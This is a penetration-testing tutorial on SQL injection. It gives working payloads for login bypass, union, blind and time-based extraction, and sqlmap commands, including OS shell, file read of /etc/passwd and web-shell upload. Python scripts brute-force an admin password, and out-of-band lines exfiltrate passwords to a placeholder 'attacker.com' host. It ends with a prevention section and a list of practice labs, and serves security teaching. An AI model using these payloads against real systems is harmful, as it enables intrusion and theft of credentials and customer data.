By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

SQL Injection (SQLi)

SQL Injection is one of the most critical web application vulnerabilities. It occurs when an attacker can insert malicious SQL code into application queries, potentially reading sensitive data, modifying databases, or executing administrative operations. This lesson covers SQLi types, manual exploitation, automated tools, and real-world scenarios.

What You'll Learn

  • What is SQL injection
  • How SQLi works
  • Types of SQL injection
  • Manual exploitation techniques
  • Automated exploitation with sqlmap
  • Database enumeration
  • Data extraction
  • Bypassing filters and WAFs
  • Prevention and mitigation

What is SQL Injection?

The Vulnerability

SQL injection occurs when user input is improperly sanitized and directly concatenated into SQL queries:

// VULNERABLE CODE (PHP example)
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

The Problem: User input directly inserted into query without validation.


How It Works

Normal login:
username: alice
password: password123

Query: SELECT * FROM users WHERE username='alice' AND password='password123'

SQL Injection attack:
username: admin' OR '1'='1
password: anything

Query: SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
Result: Bypasses authentication! '1'='1' is always TRUE

Types of SQL Injection

1. In-Band SQLi (Classic)

Error-Based SQLi: Triggers database errors to extract information

' OR 1=1 --
' UNION SELECT NULL, NULL, NULL --
' AND 1=CONVERT(int, (SELECT @@version)) --

Union-Based SQLi: Uses UNION to combine results from multiple queries

' UNION SELECT username, password FROM users --
' UNION SELECT NULL, table_name FROM information_schema.tables --

2. Inferential SQLi (Blind)

Boolean-Based: Changes application response based on TRUE/FALSE conditions

' AND 1=1 --      (page loads normally - TRUE)
' AND 1=2 --      (page behaves differently - FALSE)

' AND (SELECT COUNT(*) FROM users) > 5 --
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --

Time-Based: Uses database sleep/delay functions

' AND SLEEP(5) --                    (MySQL)
' AND pg_sleep(5) --                 (PostgreSQL)
' AND WAITFOR DELAY '00:00:05' --    (MS SQL)

If page delays 5 seconds = vulnerable

3. Out-of-Band SQLi

Uses alternative channels (DNS, HTTP) to exfiltrate data:

'; EXEC xp_dirtree '\\attacker.com\share' --     (MS SQL)
'; SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users), '.attacker.com\\a')) --

Detecting SQL Injection

Manual Testing

1. Single quote test:
   ' or "
   If error occurs = potential SQLi

2. Boolean test:
   ' OR 1=1 --
   ' OR 1=2 --
   Different responses = Boolean SQLi

3. Time delay test:
   ' AND SLEEP(5) --
   Page delays = Time-based SQLi

4. UNION test:
   ' UNION SELECT NULL --
   ' UNION SELECT NULL, NULL --
   (Keep adding NULLs until no error)

Common Injection Points

GET parameters:
https://site.com/page.php?id=1' OR '1'='1

POST data:
username=admin' OR '1'='1&password=anything

Cookies:
Cookie: session_id=abc123' OR '1'='1

HTTP Headers:
User-Agent: Mozilla/5.0' OR '1'='1
Referer: https://site.com/' OR '1'='1

Manual Exploitation: Union-Based SQLi

Step 1: Determine Number of Columns

' ORDER BY 1 --     (No error)
' ORDER BY 2 --     (No error)
' ORDER BY 3 --     (No error)
' ORDER BY 4 --     (Error!)
# Therefore: 3 columns

Alternative:
' UNION SELECT NULL --              (Error)
' UNION SELECT NULL, NULL --        (Error)
' UNION SELECT NULL, NULL, NULL --  (Success!)

Step 2: Find Injectable Columns

' UNION SELECT 'a', 'b', 'c' --

If you see 'b' displayed on page:
Column 2 is injectable

Step 3: Enumerate Database

# Database version
' UNION SELECT NULL, @@version, NULL --       (MySQL/MSSQL)
' UNION SELECT NULL, version(), NULL --       (PostgreSQL)

# Current database
' UNION SELECT NULL, database(), NULL --      (MySQL)
' UNION SELECT NULL, DB_NAME(), NULL --       (MSSQL)

# Current user
' UNION SELECT NULL, user(), NULL --          (MySQL)
' UNION SELECT NULL, current_user, NULL --    (PostgreSQL)

Step 4: List Tables

# MySQL
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --

# MSSQL
' UNION SELECT NULL, name, NULL FROM sysobjects WHERE xtype='U' --

# PostgreSQL
' UNION SELECT NULL, tablename, NULL FROM pg_tables WHERE schemaname='public' --

Step 5: List Columns

# MySQL
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --

# MSSQL
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --

Step 6: Extract Data

# Get usernames and passwords
' UNION SELECT NULL, username, password FROM users --

# Concatenate multiple columns
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --

# Limit results (if needed)
' UNION SELECT NULL, username, password FROM users LIMIT 0,1 --
' UNION SELECT NULL, username, password FROM users LIMIT 1,1 --

Automated Exploitation: sqlmap

Installation

# Kali Linux (pre-installed)
sqlmap -h

# Manual installation
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py -h

Basic Usage

# Test URL parameter
sqlmap -u "http://target.com/page.php?id=1"

# Test with POST data
sqlmap -u "http://target.com/login.php" --data "username=admin&password=pass"

# Test with cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie "PHPSESSID=abc123"

# Test specific parameter
sqlmap -u "http://target.com/page.php?id=1&name=test" -p id

Database Enumeration

# List databases
sqlmap -u "http://target.com/page.php?id=1" --dbs

# List tables in database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables

# List columns in table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns

# Dump table data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump

# Dump all databases
sqlmap -u "http://target.com/page.php?id=1" --dump-all

Advanced sqlmap Options

# Specify DBMS
sqlmap -u "URL" --dbms=mysql

# Increase verbosity
sqlmap -u "URL" -v 3

# Use specific technique
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind
sqlmap -u "URL" --technique=BEUST

# Bypass WAF
sqlmap -u "URL" --random-agent
sqlmap -u "URL" --tamper=space2comment

# Use proxy
sqlmap -u "URL" --proxy="http://127.0.0.1:8080"

# Save traffic to file
sqlmap -u "URL" -t traffic.txt

# Batch mode (no prompts)
sqlmap -u "URL" --batch

# Get OS shell
sqlmap -u "URL" --os-shell

# Read file from server
sqlmap -u "URL" --file-read="/etc/passwd"

# Write file to server
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Blind SQL Injection

Boolean-Based Exploitation

# Test TRUE condition
http://target.com/page.php?id=1' AND 1=1 --
(Page loads normally)

# Test FALSE condition
http://target.com/page.php?id=1' AND 1=2 --
(Page behaves differently - error, blank, etc.)

# Extract data character by character
# Check if first character of admin password is 'a'
http://target.com/page.php?id=1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --

# Automate with script:
import requests
import string

url = "http://target.com/page.php?id=1"
password = ""

for position in range(1, 33):  # Assume 32 char password
    for char in string.printable:
        payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), {position}, 1) = '{char}' --"
        r = requests.get(url + payload)
        if "success_indicator" in r.text:
            password += char
            print(f"Found: {password}")
            break

print(f"Password: {password}")

Time-Based Exploitation

# MySQL
http://target.com/page.php?id=1' AND IF(1=1, SLEEP(5), 0) --

# Extract data with time delays
http://target.com/page.php?id=1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --

# Script to automate:
import requests
import string
import time

url = "http://target.com/page.php?id=1"
password = ""

for position in range(1, 33):
    for char in string.printable:
        payload = f"' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), {position}, 1) = '{char}', SLEEP(3), 0) --"
        start = time.time()
        r = requests.get(url + payload)
        elapsed = time.time() - start
        
        if elapsed >= 3:
            password += char
            print(f"Found: {password}")
            break

print(f"Password: {password}")

Bypassing Filters and WAFs

Common Filters

# Space filtering
Bypass: /**/  %09  %0a  %0b  %0c  %0d
Example: SELECT/**/username/**/FROM/**/users

# OR/AND filtering
Bypass: ||  &&
Example: '||'1'='1  '&&'1'='1

# Equals (=) filtering
Bypass: LIKE
Example: username LIKE 'admin'

# Quote filtering
Bypass: Hex encoding
Example: SELECT * FROM users WHERE username=0x61646d696e

# Comment filtering (-- and #)
Bypass: ;%00  –+  –-
Example: ' OR '1'='1'–+

WAF Bypass Techniques

# Case variation
SeLeCt * FrOm users

# Inline comments
SEL/**/ECT * FR/**/OM users

# Encoding
%53%45%4C%45%43%54 (URL encoding)
SELECT (HTML encoding)

# Double encoding
%2553%2545%254C%2545%2543%2554

# Unicode
' (fullwidth apostrophe)

# Buffer overflow/truncation
' OR 1=1 --+[space x 1000]

# Tamper scripts (sqlmap)
sqlmap -u "URL" --tamper=space2comment,between,randomcase

Practical Examples

Example 1: Login Bypass

# Basic bypass
Username: admin' OR '1'='1
Password: anything

Query: SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'

# Comment out password check
Username: admin'--
Password: (leave empty)

Query: SELECT * FROM users WHERE username='admin'-- AND password=''

# Alternative syntax
Username: admin' OR 1=1#
Username: admin' OR 1=1/*

Example 2: Extract All User Data

# Step 1: Find injection point
http://target.com/product.php?id=1

# Step 2: Determine columns
http://target.com/product.php?id=1' ORDER BY 5--

# Step 3: Find injectable column
http://target.com/product.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL--
http://target.com/product.php?id=-1' UNION SELECT 1,2,3,4,5--
(See which numbers appear on page)

# Step 4: Get database name
http://target.com/product.php?id=-1' UNION SELECT 1,database(),3,4,5--

# Step 5: Get tables
http://target.com/product.php?id=-1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--

# Step 6: Get columns from 'users' table
http://target.com/product.php?id=-1' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users'--

# Step 7: Extract data
http://target.com/product.php?id=-1' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM users--

Example 3: sqlmap Full Exploitation

# Step 1: Test for SQLi
sqlmap -u "http://target.com/product.php?id=1" --batch

# Step 2: Enumerate databases
sqlmap -u "http://target.com/product.php?id=1" --dbs --batch

# Output:
# [*] information_schema
# [*] mysql
# [*] webapp_db

# Step 3: Get tables from webapp_db
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db --tables --batch

# Output:
# [*] users
# [*] products
# [*] orders

# Step 4: Get columns from users table
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db -T users --columns --batch

# Step 5: Dump users table
sqlmap -u "http://target.com/product.php?id=1" -D webapp_db -T users --dump --batch

# Step 6: Crack hashes (if stored as hashes)
# sqlmap automatically attempts to crack common hash types

Practical Pentesting Scenarios

Scenario 1: E-commerce Site SQLi

# Target: http://shop.com/product.php?id=15

# 1. Test for SQLi
curl "http://shop.com/product.php?id=15'"
# Error message appears - vulnerable!

# 2. Enumerate with sqlmap
sqlmap -u "http://shop.com/product.php?id=15" --batch --dbs

# 3. Target customer database
sqlmap -u "http://shop.com/product.php?id=15" -D shop_db -T customers --dump

# 4. Extract credit card info (if stored - unencrypted = major finding!)
sqlmap -u "http://shop.com/product.php?id=15" -D shop_db -T payment_info --dump

# 5. Document findings in report

Scenario 2: Login Form POST SQLi

# Target: Login form at http://admin.site.com/login.php

# 1. Capture request with Burp Suite
POST /login.php HTTP/1.1
Host: admin.site.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

# 2. Save request to file (login.req)

# 3. Test with sqlmap
sqlmap -r login.req --batch --level=3 --risk=3

# 4. Enumerate admin users
sqlmap -r login.req -D admin_db -T admin_users --dump

# 5. Try extracted credentials

Scenario 3: Blind SQLi with Time Delays

# Target: http://app.com/search.php?q=test

# 1. Test for time-based SQLi
curl "http://app.com/search.php?q=test' AND SLEEP(5)--"
# Delays 5 seconds - vulnerable!

# 2. Use sqlmap with time-based technique
sqlmap -u "http://app.com/search.php?q=test" --technique=T --batch --dbs

# 3. Extract data (slower than union-based)
sqlmap -u "http://app.com/search.php?q=test" --technique=T -D app_db -T users --dump --threads=5

Prevention and Mitigation

1. Parameterized Queries (Prepared Statements)

// SECURE CODE (PHP with PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$result = $stmt->fetch();
# SECURE CODE (Python)
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))

2. Input Validation

// Whitelist allowed characters
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username");
}

// Validate data types
$id = (int)$_GET['id'];

3. Stored Procedures

CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
BEGIN
    SELECT * FROM users WHERE username = @username
END

4. Escaping User Input

// Last resort (parameterized queries preferred)
$username = mysqli_real_escape_string($conn, $username);

5. Least Privilege

-- Database user should only have SELECT permission
-- Not DROP, INSERT, UPDATE, DELETE
GRANT SELECT ON database.* TO 'webapp'@'localhost';

Quick Reference

Detection:
'
' OR '1'='1
' AND SLEEP(5)--
' UNION SELECT NULL--

sqlmap Basic:
sqlmap -u "URL"
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D db --tables
sqlmap -u "URL" -D db -T table --dump

sqlmap POST:
sqlmap -r request.txt
sqlmap -u "URL" --data "param=value"

Bypass:
/**/        (space bypass)
--+         (comment)
0x61646d696e (hex encoding)
--tamper=space2comment (sqlmap)

Union SQLi:
' ORDER BY 1--
' UNION SELECT NULL, NULL--
' UNION SELECT @@version, database()--
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT username, password FROM users--

Resources

Practice Labs

  • DVWA (Damn Vulnerable Web Application)
  • bWAPP
  • HackTheBox web challenges
  • TryHackMe SQLi rooms
  • PortSwigger SQL Injection labs

Tools

  • sqlmap
  • Burp Suite
  • OWASP ZAP
  • Havij
  • jSQL Injection

Further Reading


Next Steps

  1. Practice on legal targets (CTF, lab environments)
  2. Master sqlmap - incredibly powerful tool
  3. Learn different DBMS (MySQL, MSSQL, PostgreSQL, Oracle)
  4. Study WAF bypass techniques
  5. Understand database structures (information_schema)

SQL Injection remains a top vulnerability. Master this skill for both offensive testing and defensive coding!


"'; DROP TABLE lessons;-- (Just kidding, always test ethically!)"